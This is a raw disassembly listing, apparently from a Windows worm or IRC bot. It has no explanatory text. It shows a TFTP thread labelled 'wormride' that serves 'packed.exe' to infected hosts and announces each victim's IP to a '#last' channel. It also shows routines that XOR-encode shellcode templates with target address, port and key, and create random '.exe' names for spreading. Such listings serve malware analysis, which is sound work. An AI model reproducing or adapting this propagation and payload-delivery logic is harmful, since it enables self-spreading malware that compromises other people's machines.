XREF: sub_411DC5+202j ; sub_411DC5+20Ej xor eax, eax test eax, eax jnz short loc_411F7E lea eax, [ebp+var_B64] push eax push 0 push 0 lea eax, [ebp+var_B5C] push eax push 0 call ds:dword_41722C ; select test eax, eax jle loc_4123B8 mov [ebp+var_D84], 10h mov al, byte_41DE30 mov [ebp+var_D70], al mov ecx, 80h xor eax, eax lea edi, [ebp+var_D6F] rep stosd stosw stosb lea eax, [ebp+var_D84] push eax lea eax, [ebp+var_D80] push eax push 0 push 80h lea eax, [ebp+var_19C] push eax push [ebp+var_108] call ds:dword_417258 ; recvfrom mov [ebp+var_B6C], eax cmp [ebp+var_B6C], 0 jz short loc_412084 cmp [ebp+var_B6C], 0FFFFFFFFh jnz short loc_412089 loc_412084: ; CODE XREF: sub_411DC5+2B4j jmp loc_411F66 ; --------------------------------------------------------------------------- loc_412089: ; CODE XREF: sub_411DC5+2BDj movsx eax, [ebp+var_19C] test eax, eax jnz loc_4121C0 movsx eax, [ebp+var_19B] cmp eax, 1 jnz loc_4121C0 lea eax, [ebp+var_19C] mov [ebp+var_D88], eax lea eax, [ebp+var_19C] mov [ebp+var_D8C], eax mov eax, [ebp+var_D88] inc eax inc eax mov [ebp+var_D88], eax mov eax, [ebp+var_D8C] inc eax inc eax mov [ebp+var_D8C], eax push [ebp+var_D8C] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_D8C] lea eax, [ecx+eax+1] mov [ebp+var_D8C], eax push offset aOctet ; "octet" call sub_416B40 ; strlen pop ecx push eax push [ebp+var_D8C] push offset aOctet ; "octet" call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_41213F push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 push 13h push offset dword_41C76C push [ebp+var_108] call ds:dword_417250 ; sendto jmp short loc_4121BB ; --------------------------------------------------------------------------- loc_41213F: ; CODE XREF: sub_411DC5+354j push 0 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch and [ebp+var_D70], 0 mov [ebp+var_D6F], 3 and [ebp+var_D6E], 0 mov [ebp+var_D6D], 1 push [ebp+var_10C] push 200h push 1 lea eax, [ebp+var_D6C] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_D90], eax push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 mov eax, [ebp+var_D90] add eax, 4 push eax lea eax, [ebp+var_D70] push eax push [ebp+var_108] call ds:dword_417250 ; sendto loc_4121BB: ; CODE XREF: sub_411DC5+378j jmp loc_4123B8 ; --------------------------------------------------------------------------- loc_4121C0: ; CODE XREF: sub_411DC5+2CDj ; sub_411DC5+2DDj movsx eax, [ebp+var_19C] test eax, eax jnz loc_412396 movsx eax, [ebp+var_19B] cmp eax, 4 jnz loc_412396 mov al, [ebp+var_19A] mov [ebp+var_DA0], al mov al, [ebp+var_199] mov [ebp+var_D98], al and [ebp+var_D70], 0 mov [ebp+var_D6F], 3 movzx eax, [ebp+var_D98] cmp eax, 0FFh jnz short loc_412242 mov al, [ebp+var_DA0] add al, 1 mov [ebp+var_DA0], al mov al, [ebp+var_DA0] mov [ebp+var_D6E], al and [ebp+var_D98], 0 mov al, [ebp+var_D98] mov [ebp+var_D6D], al jmp short loc_412268 ; --------------------------------------------------------------------------- loc_412242: ; CODE XREF: sub_411DC5+44Cj mov al, [ebp+var_DA0] mov [ebp+var_D6E], al mov al, [ebp+var_D98] add al, 1 mov [ebp+var_D98], al mov al, [ebp+var_D98] mov [ebp+var_D6D], al loc_412268: ; CODE XREF: sub_411DC5+47Bj movzx eax, [ebp+var_DA0] shl eax, 8 movzx ecx, [ebp+var_D98] lea eax, [eax+ecx-1] mov [ebp+var_D9C], eax push 0 mov eax, [ebp+var_D9C] shl eax, 9 push eax push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_10C] push 200h push 1 lea eax, [ebp+var_D6C] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_D94], eax push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 mov eax, [ebp+var_D94] add eax, 4 push eax lea eax, [ebp+var_D70] push eax push [ebp+var_108] call ds:dword_417250 ; sendto cmp [ebp+var_D94], 0 jnz loc_412394 mov eax, [ebp+var_D9C] shl eax, 9 cmp eax, [ebp+var_4] jb loc_412394 mov eax, [ebp+var_D7C] mov [ebp+var_DA8], eax push [ebp+var_DA8] push offset dword_41EB10 call sub_409C9D pop ecx pop ecx mov [ebp+var_DA4], eax mov eax, [ebp+var_DA4] cmp eax, [ebp+var_DA8] jz short loc_412394 push 1 push offset dword_41EB14 call sub_409C88 pop ecx pop ecx mov [ebp+var_DAC], eax push 10h push [ebp+var_D7C] call ds:dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_11C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_11C] push eax mov eax, [ebp+var_DAC] inc eax push eax push offset aWormride ; "wormride" push offset unk_41C730 push offset aLast ; "#last" call sub_40D4AB add esp, 14h loc_412394: ; CODE XREF: sub_411DC5+52Dj ; sub_411DC5+53Fj ... jmp short loc_4123B8 ; --------------------------------------------------------------------------- loc_412396: ; CODE XREF: sub_411DC5+404j ; sub_411DC5+414j push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 push 9 push offset dword_41C724 push [ebp+var_108] call ds:dword_417250 ; sendto loc_4123B8: ; CODE XREF: sub_411DC5+252j ; sub_411DC5:loc_4121BBj ... mov eax, [ebp+var_358] cmp dword ptr [eax+4], 0 jz short loc_4123C6 jmp short loc_4123CB ; --------------------------------------------------------------------------- loc_4123C6: ; CODE XREF: sub_411DC5+5FDj jmp loc_411F66 ; --------------------------------------------------------------------------- loc_4123CB: ; CODE XREF: sub_411DC5+5FFj push [ebp+var_10C] call sub_416B82 ; fclose pop ecx push [ebp+var_108] call ds:dword_417230 ; closesocket push [ebp+var_358] call sub_409763 pop ecx xor eax, eax loc_4123F1: ; CODE XREF: sub_411DC5+53j ; sub_411DC5+F8j ... pop edi leave retn 4 sub_411DC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4123F6 proc near ; CODE XREF: sub_40A9CF+726p ; sub_40A9CF+742p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412410 jmp short locret_412446 ; --------------------------------------------------------------------------- loc_412410: ; CODE XREF: sub_4123F6+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aTftpWormrideTh ; "TFTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_411DC5 call sub_4095A4 add esp, 10h locret_412446: ; CODE XREF: sub_4123F6+18j leave retn sub_4123F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412448 proc near ; CODE XREF: sub_4125DF+88p ; sub_4125DF+ADp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_41245A ; --------------------------------------------------------------------------- loc_412453: ; CODE XREF: sub_412448:loc_41249Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_41245A: ; CODE XREF: sub_412448+9j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_41249C and [ebp+var_8], 0 jmp short loc_41246F ; --------------------------------------------------------------------------- loc_412468: ; CODE XREF: sub_412448:loc_412498j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_41246F: ; CODE XREF: sub_412448+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_C] jnb short loc_41249A mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_10] xor eax, ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_412498 push 1 pop eax jmp short locret_41249E ; --------------------------------------------------------------------------- loc_412498: ; CODE XREF: sub_412448+49j jmp short loc_412468 ; --------------------------------------------------------------------------- loc_41249A: ; CODE XREF: sub_412448+2Dj jmp short loc_412453 ; --------------------------------------------------------------------------- loc_41249C: ; CODE XREF: sub_412448+18j xor eax, eax locret_41249E: ; CODE XREF: sub_412448+4Ej leave retn sub_412448 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4124A0 proc near ; CODE XREF: sub_4125DF+36p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 10h and [ebp+var_4], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 cmp [ebp+arg_8], 1 jnz short loc_41250C cmp [ebp+arg_4], 0B2h jnb short loc_4124CC xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_4124CC: ; CODE XREF: sub_4124A0+23j mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C964 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 8Fh mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 88h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax jmp loc_41259C ; --------------------------------------------------------------------------- loc_41250C: ; CODE XREF: sub_4124A0+1Aj cmp [ebp+arg_8], 2 jnz short loc_412554 cmp [ebp+arg_4], 0C6h jnb short loc_412522 xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_412522: ; CODE XREF: sub_4124A0+79j mov [ebp+var_C], 0C6h push [ebp+var_C] push offset dword_41C89C push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 89h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0C0h mov [ebp+var_8], eax jmp short loc_41259C ; --------------------------------------------------------------------------- loc_412554: ; CODE XREF: sub_4124A0+70j cmp [ebp+arg_4], 0B2h jnb short loc_412561 xor eax, eax jmp short locret_4125DD ; --------------------------------------------------------------------------- loc_412561: ; CODE XREF: sub_4124A0+BBj mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C7E8 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 86h mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 8Dh mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax loc_41259C: ; CODE XREF: sub_4124A0+67j ; sub_4124A0+B2j cmp [ebp+var_4], 0 jz short loc_4125B0 push [ebp+arg_C] call ds:dword_417244 ; inet_addr mov ecx, [ebp+var_4] mov [ecx], eax loc_4125B0: ; CODE XREF: sub_4124A0+100j cmp [ebp+var_10], 0 jz short loc_4125CC push [ebp+arg_10] call sub_416B9C ; atoi pop ecx push eax call ds:dword_417238 ; ntohs mov ecx, [ebp+var_10] mov [ecx], ax loc_4125CC: ; CODE XREF: sub_4124A0+114j cmp [ebp+var_8], 0 jz short loc_4125DA mov eax, [ebp+var_8] mov ecx, [ebp+arg_14] mov [eax], ecx loc_4125DA: ; CODE XREF: sub_4124A0+130j mov eax, [ebp+var_C] locret_4125DD: ; CODE XREF: sub_4124A0+27j ; sub_4124A0+7Dj ... leave retn sub_4124A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4125DF proc near ; CODE XREF: sub_410649+8Bp ; sub_410B52+41p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 1Ch cmp [ebp+arg_4], 1Ch jnb short loc_4125F2 xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_4125F2: ; CODE XREF: sub_4125DF+Aj mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 1Ch mov [ebp+var_4], eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push 1E4h push [ebp+var_4] call sub_4124A0 add esp, 18h mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_41262D xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_41262D: ; CODE XREF: sub_4125DF+45j push 1Ch push offset dword_41C7C8 push [ebp+var_10] call sub_416B52 ; memcpy add esp, 0Ch mov eax, dword_41CB98 mov [ebp+var_8], eax jmp short loc_412659 ; --------------------------------------------------------------------------- loc_412649: ; CODE XREF: sub_4125DF+94j ; sub_4125DF:loc_41269Aj call sub_410422 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov dword_41CB98, eax loc_412659: ; CODE XREF: sub_4125DF+68j push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_8] push eax call sub_412448 add esp, 14h test eax, eax jz short loc_412675 jmp short loc_412649 ; --------------------------------------------------------------------------- loc_412675: ; CODE XREF: sub_4125DF+92j mov eax, [ebp+var_14] xor eax, [ebp+var_8] mov [ebp+var_1C], eax push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_1C] push eax call sub_412448 add esp, 14h test eax, eax jnz short loc_41269A jmp short loc_41269C ; --------------------------------------------------------------------------- loc_41269A: ; CODE XREF: sub_4125DF+B7j jmp short loc_412649 ; --------------------------------------------------------------------------- loc_41269C: ; CODE XREF: sub_4125DF+B9j mov eax, [ebp+var_10] mov ecx, [ebp+var_8] mov [eax+3], ecx mov eax, [ebp+var_10] mov ecx, [ebp+var_1C] mov [eax+9], ecx mov al, byte_41CB95 mov byte ptr [ebp+var_C], al jmp short loc_4126C8 ; --------------------------------------------------------------------------- loc_4126B8: ; CODE XREF: sub_4125DF+104j call sub_410461 mov byte ptr [ebp+var_C], al mov al, byte ptr [ebp+var_C] mov byte_41CB95, al loc_4126C8: ; CODE XREF: sub_4125DF+D7j push [ebp+var_C] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_14] push [ebp+var_4] call sub_412448 add esp, 14h test eax, eax jz short loc_4126E5 jmp short loc_4126B8 ; --------------------------------------------------------------------------- loc_4126E5: ; CODE XREF: sub_4125DF+102j mov eax, [ebp+var_10] mov cl, byte ptr [ebp+var_C] mov [eax+12h], cl and [ebp+var_18], 0 jmp short loc_4126FB ; --------------------------------------------------------------------------- loc_4126F4: ; CODE XREF: sub_4125DF+137j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_4126FB: ; CODE XREF: sub_4125DF+113j mov eax, [ebp+var_18] cmp eax, [ebp+var_14] jnb short loc_412718 mov eax, [ebp+var_4] add eax, [ebp+var_18] mov al, [eax] xor al, byte ptr [ebp+var_C] mov ecx, [ebp+var_4] add ecx, [ebp+var_18] mov [ecx], al jmp short loc_4126F4 ; --------------------------------------------------------------------------- loc_412718: ; CODE XREF: sub_4125DF+122j mov eax, [ebp+var_14] add eax, 1Ch locret_41271E: ; CODE XREF: sub_4125DF+Ej ; sub_4125DF+49j leave retn sub_4125DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412720 proc near ; CODE XREF: sub_412A3A+Cp ; sub_412BC9+DFp ... var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_E4 = byte ptr -0E4h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_194], eax and [ebp+var_190], 0 loc_412741: ; CODE XREF: sub_412720:loc_41278Aj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_190] mov [ebp+ecx+var_10], al mov eax, [ebp+var_190] inc eax mov [ebp+var_190], eax mov eax, [ebp+var_190] cmp eax, [ebp+var_194] jnz short loc_41278A push offset a_exe ; ".exe" mov eax, [ebp+var_190] lea eax, [ebp+eax+var_10] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_41278C ; --------------------------------------------------------------------------- loc_41278A: ; CODE XREF: sub_412720+4Fj jmp short loc_412741 ; --------------------------------------------------------------------------- loc_41278C: ; CODE XREF: sub_412720+68j push 17Ch push offset dword_41CA18 lea eax, [ebp+var_18C] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_E4] push eax call sub_416B3A ; strcpy pop ecx pop ecx push 17Ch lea eax, [ebp+var_18C] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch leave retn sub_412720 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127D0 proc near ; CODE XREF: sub_412A3A+14Dp ; sub_412BC9+133p ... var_24C = byte ptr -24Ch var_22C = byte ptr -22Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24Ch cmp dword_41EB1C, 0 jnz loc_4128A0 mov dword_41EB1C, 1 and [ebp+var_20C], 0 jmp short loc_412806 ; --------------------------------------------------------------------------- loc_4127F9: ; CODE XREF: sub_4127D0:loc_41289Bj mov eax, [ebp+var_20C] inc eax mov [ebp+var_20C], eax loc_412806: ; CODE XREF: sub_4127D0+27j mov eax, [ebp+var_20C] imul eax, 0Ch cmp off_41DA68[eax], 0 jz loc_4128A0 push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41DA68[eax] lea eax, [ebp+var_22C] push eax call sub_407A56 add esp, 0Ch push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41CBA0[eax] lea eax, [ebp+var_24C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_22C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax lea eax, [ebp+var_22C] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_41289B mov dword_41EB20, 1 jmp short loc_4128A0 ; --------------------------------------------------------------------------- loc_41289B: ; CODE XREF: sub_4127D0+BDj jmp loc_4127F9 ; --------------------------------------------------------------------------- loc_4128A0: ; CODE XREF: sub_4127D0+10j ; sub_4127D0+46j ... cmp dword_41EB20, 0 jz short loc_4128AE push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128AE: ; CODE XREF: sub_4127D0+D7j push offset aRb ; "rb" push offset aPacked_exe_0 ; "packed.exe" call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4128CC xor eax, eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128CC: ; CODE XREF: sub_4127D0+F6j and [ebp+var_4], 0 loc_4128D0: ; CODE XREF: sub_4127D0+145j push [ebp+var_8] push 200h push 1 lea eax, [ebp+var_208] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412900 push [ebp+var_8] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_412900: ; CODE XREF: sub_4127D0+120j push [ebp+var_4] lea eax, [ebp+var_208] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch jmp short loc_4128D0 ; --------------------------------------------------------------------------- locret_412917: ; CODE XREF: sub_4127D0+DCj ; sub_4127D0+FAj ... leave retn sub_4127D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412919 proc near ; CODE XREF: sub_412BC9+E8p ; sub_412D56+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412938 xor eax, eax jmp short locret_41294C ; --------------------------------------------------------------------------- loc_412938: ; CODE XREF: sub_412919+19j push 0 push 4 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call ds:dword_417248 ; recv mov eax, [ebp+var_4] locret_41294C: ; CODE XREF: sub_412919+1Dj leave retn sub_412919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41294E proc near ; CODE XREF: sub_412BC9+115p ; sub_412D56+3Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_412964 ; --------------------------------------------------------------------------- loc_41295D: ; CODE XREF: sub_41294E:loc_4129C3j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_412964: ; CODE XREF: sub_41294E+Dj mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz short loc_4129C5 mov eax, [ebp+var_8] imul eax, 3Ah mov eax, dword_41CCF6[eax] cmp eax, [ebp+arg_0] jnz short loc_4129C3 mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset aJeP ; "†…ØÝ¯" mov [ebp+var_4], eax push 3Ah mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset aJeP ; "†…ØÝ¯" push eax push [ebp+arg_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] call sub_4105FB pop ecx mov eax, [ebp+arg_4] add eax, 13h push eax call sub_4105FB pop ecx jmp short loc_4129C5 ; --------------------------------------------------------------------------- loc_4129C3: ; CODE XREF: sub_41294E+34j jmp short loc_41295D ; --------------------------------------------------------------------------- loc_4129C5: ; CODE XREF: sub_41294E+23j ; sub_41294E+73j mov eax, [ebp+var_4] leave retn sub_41294E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4129CA proc near ; CODE XREF: sub_412A3A+16Bp ; sub_412BC9+15Ap ... var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 104h push 1 mov eax, [ebp+arg_0] add eax, 2Ah push eax call sub_409C88 pop ecx pop ecx mov [ebp+var_104], eax lea eax, [ebp+var_100] push eax push [ebp+arg_8] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_412A11 push offset aUnknown_0 ; "unknown" lea eax, [ebp+var_100] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_412A11: ; CODE XREF: sub_4129CA+32j lea eax, [ebp+var_100] push eax mov eax, [ebp+var_104] inc eax push eax push [ebp+arg_C] push [ebp+arg_4] push offset dword_41A1D0 push offset aLast ; "#last" call sub_40D4AB add esp, 18h leave retn sub_4129CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A3A proc near ; CODE XREF: sub_41331E+148p var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = byte ptr -248h var_235 = byte ptr -235h var_222 = dword ptr -222h var_20C = dword ptr -20Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push [ebp+arg_4] call sub_412720 pop ecx push 3Ah push [ebp+arg_0] lea eax, [ebp+var_248] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_248] push eax call sub_4105FB pop ecx lea eax, [ebp+var_235] push eax call sub_4105FB pop ecx lea eax, [ebp+var_20C+3] mov [ebp+var_8], eax push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch and [ebp+var_4], 0 jmp short loc_412AA6 ; --------------------------------------------------------------------------- loc_412A9F: ; CODE XREF: sub_412A3A+8Aj ; sub_412A3A:loc_412B7Fj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412AA6: ; CODE XREF: sub_412A3A+63j cmp [ebp+var_4], 3Ch jnz short loc_412AB1 jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AB1: ; CODE XREF: sub_412A3A+70j push 3E8h push [ebp+arg_4] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412AC6 jmp short loc_412A9F ; --------------------------------------------------------------------------- loc_412AC6: ; CODE XREF: sub_412A3A+88j push 200h push [ebp+var_8] push [ebp+arg_4] call sub_4053DC add esp, 0Ch mov [ebp+var_24C], eax cmp [ebp+var_24C], 0FFFFFFFFh jnz short loc_412AED jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AED: ; CODE XREF: sub_412A3A+ACj cmp [ebp+var_24C], 0 jz short loc_412B69 and [ebp+var_250], 0 jmp short loc_412B0C ; --------------------------------------------------------------------------- loc_412AFF: ; CODE XREF: sub_412A3A:loc_412B34j mov eax, [ebp+var_250] inc eax mov [ebp+var_250], eax loc_412B0C: ; CODE XREF: sub_412A3A+C3j mov eax, [ebp+var_250] cmp eax, [ebp+var_24C] jnb short loc_412B36 mov eax, [ebp+var_250] mov eax, [ebp+eax+var_20C] cmp eax, [ebp+var_222] jnz short loc_412B34 jmp loc_412BC5 ; --------------------------------------------------------------------------- loc_412B34: ; CODE XREF: sub_412A3A+F3j jmp short loc_412AFF ; --------------------------------------------------------------------------- loc_412B36: ; CODE XREF: sub_412A3A+DEj push 3 mov eax, [ebp+var_24C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3] push eax lea eax, [ebp+var_20C] push eax call sub_416B52 ; memcpy add esp, 0Ch push 200h push 0 push [ebp+var_8] call sub_416B6A ; memset add esp, 0Ch jmp short loc_412B7F ; --------------------------------------------------------------------------- loc_412B69: ; CODE XREF: sub_412A3A+BAj push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch loc_412B7F: ; CODE XREF: sub_412A3A+12Dj jmp loc_412A9F ; --------------------------------------------------------------------------- loc_412B84: ; CODE XREF: sub_412A3A:loc_412BC5j push [ebp+arg_4] call sub_4127D0 pop ecx test eax, eax jnz short loc_412B93 jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412B93: ; CODE XREF: sub_412A3A+155j push offset dword_41CC64 push [ebp+arg_4] lea eax, [ebp+var_248] push eax push [ebp+arg_0] call sub_4129CA add esp, 10h push 1 push [ebp+arg_4] call ds:dword_417200 ; shutdown push 3E8h call ds:dword_41709C ; Sleep jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412BC5: ; CODE XREF: sub_412A3A+F5j jmp short loc_412B84 ; --------------------------------------------------------------------------- locret_412BC7: ; CODE XREF: sub_412A3A+72j ; sub_412A3A+AEj ... leave retn sub_412A3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412BC9 proc near ; CODE XREF: sub_41331E+165p var_85C = dword ptr -85Ch var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = byte ptr -84Ch var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 85Ch push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_404FE7 add esp, 0Ch mov [ebp+var_8], eax mov [ebp+var_854], 3Ch and [ebp+var_850], 0 and [ebp+var_810], 0 loc_412BFD: ; CODE XREF: sub_412BC9+A9j and [ebp+var_85C], 0 jmp short loc_412C13 ; --------------------------------------------------------------------------- loc_412C06: ; CODE XREF: sub_412BC9:loc_412C35j mov eax, [ebp+var_85C] inc eax mov [ebp+var_85C], eax loc_412C13: ; CODE XREF: sub_412BC9+3Bj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnb short loc_412C37 mov eax, [ebp+var_85C] mov eax, [ebp+eax*4+var_80C] cmp eax, [ebp+var_8] jnz short loc_412C35 jmp short loc_412C37 ; --------------------------------------------------------------------------- loc_412C35: ; CODE XREF: sub_412BC9+68j jmp short loc_412C06 ; --------------------------------------------------------------------------- loc_412C37: ; CODE XREF: sub_412BC9+56j ; sub_412BC9+6Aj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnz short loc_412C6E cmp [ebp+var_810], 200h jnb short loc_412C6E mov eax, [ebp+var_85C] mov ecx, [ebp+var_8] mov [ebp+eax*4+var_80C], ecx mov eax, [ebp+var_810] inc eax mov [ebp+var_810], eax loc_412C6E: ; CODE XREF: sub_412BC9+7Aj ; sub_412BC9+86j xor eax, eax test eax, eax jnz short loc_412BFD lea eax, [ebp+var_854] push eax push 0 lea eax, [ebp+var_810] push eax push 0 push 0 call ds:dword_41722C ; select mov [ebp+var_C], eax cmp [ebp+var_C], 1 jz short loc_412CA5 push [ebp+var_8] call sub_4053B1 pop ecx jmp locret_412D4A ; --------------------------------------------------------------------------- loc_412CA5: ; CODE XREF: sub_412BC9+CCj push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_858], eax cmp [ebp+var_858], 0 jnz short loc_412CD1 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- 